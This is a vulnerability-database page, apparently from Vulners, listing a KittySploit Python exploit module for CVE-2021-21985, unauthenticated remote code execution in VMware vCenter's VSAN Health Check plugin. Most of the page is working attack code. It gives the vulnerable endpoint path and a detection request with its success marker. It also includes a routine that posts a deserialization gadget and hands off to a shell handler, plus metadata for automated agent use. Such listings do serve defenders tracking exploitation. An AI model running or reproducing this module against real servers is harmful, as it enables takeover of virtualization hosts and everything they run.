Lucene search
+L

VMware vCenter VSAN RCE (CVE-2021-21985)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated RCE in VMware vCenter via the VSAN Health Check plugin JSON API.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""VMware vCenter VSAN Health Check RCE (CVE-2021-21985)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'VMware vCenter VSAN RCE (CVE-2021-21985)',
        'description': (
            'Exploits CVE-2021-21985 in VMware vCenter: unauthenticated RCE via the VSAN '
            'Health Check plugin JSON API (Virtual SAN Health Check).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-21985'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-21985'],
        'tags': ['vmware', 'vcenter', 'vsan', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_21985_detect']},
        },
    }

    vsan_path = OptString(
        '/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData',
        'VSAN plugin endpoint',
        required=False,
        advanced=True,
    )
    gadget_payload = OptString('', 'Optional serialized gadget JSON fragment', required=False, advanced=True)

    def check(self):
        path = str(self.vsan_path or '').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data='{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}',
            headers={'Content-Type': 'application/json', 'Accept': '*/*'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and '{"result":{"isDisconnected":' in body:
            return {'vulnerable': True, 'reason': 'VSAN Health Check API exposed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'VSAN endpoint not reachable', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        path = str(self.vsan_path or '').strip()
        gadget = str(self.gadget_payload or '').strip()
        if not gadget:
            return ''
        data = f'{{"methodInput":[{gadget}]}}'
        r = self.http_request(
            method='POST',
            path=path,
            data=data,
            headers={'Content-Type': 'application/json', 'Accept': '*/*'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.gadget_payload:
            print_warning('Set gadget_payload for deserialization chain (see alt3kx PoC)')
            self.vulnerable()
            return True
        body = self.execute('')
        if re.search(r'uid=\d+|Exception', body or '', re.I):
            return self.handler_execute()
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC
3